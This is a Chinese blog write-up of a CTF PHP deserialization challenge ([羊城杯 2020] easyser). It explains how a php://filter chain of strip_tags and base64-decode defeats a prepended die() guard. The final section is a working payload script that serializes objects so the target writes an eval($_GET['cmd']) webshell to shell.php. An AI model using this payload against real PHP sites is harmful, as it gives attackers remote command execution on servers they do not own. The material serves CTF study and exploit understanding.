首页 > 其他分享 >反序列化死亡exit绕过

反序列化死亡exit绕过

时间:2024-04-22 17:56:54浏览次数:20  
标签:php tags text exit file strip 绕过 序列化 public

又做了一个反序列化,发现一个知识点。[羊城杯 2020]easyser

点击查看代码
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>
注入点在file_put_contents,但是先别急,源码中将死亡代码拼接到你的代码前面进行执行,会直接退出,不会执行你的代码,这里就要涉及到php伪协议中的一个方法来绕过了。
点击查看代码
php://filter/write=string.strip_tags|convert.base64-decode/resource   (php://filter允许通过 | 使用多个过滤器)
string.strip_tags,先去php语法找strip_tags函数,strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。死亡代码,实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,但是我们的shell如何绕过呢。接下来的base64-decoded发挥作用了,将自己的码进行编码绕过strip_tags就可以了。
点击查看代码
具体的利用分析:
1. 自己的shell用base64编码   //为了避免strip_tags的影响
2、调用string.strip_tags //这一步将去除<?php exit; ?>
3、调用convert.base64-decode //这一步将还原base64编码的webshell
点击查看代码
payload:
<?php
class GWHT{
    public $hero;
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct() {
        $this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
        $this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>");

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
$a = new GWHT();
$b = new Yongen();
$a->hero = $b;
echo urlencode(serialize($a));

标签:php,tags,text,exit,file,strip,绕过,序列化,public
From: https://www.cnblogs.com/jocker-love-you/p/18151115

相关文章

  • 序列化类源码分析
    序列化类源码分析​ 我们主要带着两个问题取探究反序列化类校验是如何走的局部钩子和全局钩子序列化类实例化分单条和多条,它们实例化得到的对象是不一样的(不同的类)单条和多条的序列化类的实例化​ 首先当我们去查多条和查一条时,会在我们定义的序列化类传入参数many=True/......
  • 新手大白话 [SWPU 2018]SimplePHP Phar反序列化
    今天再做个Phar反序列化巩固下。进入题目发现了查看文件与上传文件,与自己的IP。利用burp抓包进行查看,先尝试index.php,发现base.php,查看base.php发现flag所在文件,再查看file.php,发现function.phpclass.php点击查看代码class.php<?phpclassC1e4r{public$t......
  • 序列化反序列化
    【一】序列化常见字段​ 序列化类中有很多多字段,如CharFieldIntegerField,他们会跟models里面的字段一一对应,除了这些,序列化类还多出了两个字段ListField和DictField,非常重要字段字段构造方式BooleanFieldBooleanField()NullBooleanFieldNullBooleanField()......
  • 第27天:安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞 - Shortcut
     https://www.kancloud.cn/manual/thinkphp5_1/354000ThinkPHP-Vuln-master ......
  • 新手大白话 [HNCTF 2022 Week1]Challenge__rce RCE自增绕过
    今天遇到个RCE难题,挺另类的,这里做个复盘。进入题目直接给出了源码,可以发现就是个无字母RCE,且有长度限制不能使用url取反绕过,到这想到了以前的一个rce自增绕过方式,但是以前的没有长度限制。点击查看代码<?phperror_reporting(0);if(isset($_GET['hint'])){highlight_f......
  • 新手大白话 [SWPUCTF 2021 新生赛]babyunser phar反序列化
    进入赛题网站第一眼以为是文件上传,尝试没效果,看题目标签为phar反序列化,这类也就是文件包含php伪协议的一种,实质上就是上传phar文件,利用网页给予的文件读取页面利用phar伪协议进行读取来触发一句话木马,好现在开始做题。(一点也不新生)利用查看文件来收集信息,查看read.php点击查看......
  • Java安全基础之Java序列化与反序列化
    目录ObjectInputStream和ObjectOutputStreamjava.io.Serializable自定义序列化和反序列化Java的序列化(Serialization)是指将对象转换为字节序列的过程,而反序列化(Deserialization)则是将字节序列转换回对象的过程。序列化和反序列化通常用于在网络上传输对象或者将对象持久化到......
  • 使用代理绕过网站的反爬机制
    最近在尝试收集一些网络指标的数据,所以,我又开始做爬虫了。:)我们在做爬虫的过程中经常会遇到这样的情况,最初爬虫正常运行,正常抓取数据,一切看起来都是那么的美好,然而一杯茶的功夫可能就会出现错误,比如403Forbidden,这时候打开网页一看,可能会看到“您的IP访问频率太高”这......
  • 01、Java 安全-反序列化基础
    Java反序列化基础1.ObjectOutputStream与ObjectInputStream类1.1.ObjectOutputStream类java.io.ObjectOutputStream类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。序列化操作一个对象要想序列化,必须满足两个条件:该类必须实现java.io.Serializable接口,......
  • json反序列化 JsonConvert.DeserializeObject 报错 One or more errors occurred. (U
    接口返回的字符串肉眼看起来正常,也是标准json,反序列化时候报错,字符串添加了UTF8-BOM头(windows记事本默认编码),可以通过以下代码移除标头//模拟json字符串对象varjsonStr="{}";byte[]buffer=Encoding.UTF8.GetBytes(jsonStr);varsResult=Encoding.UTF8.GetString......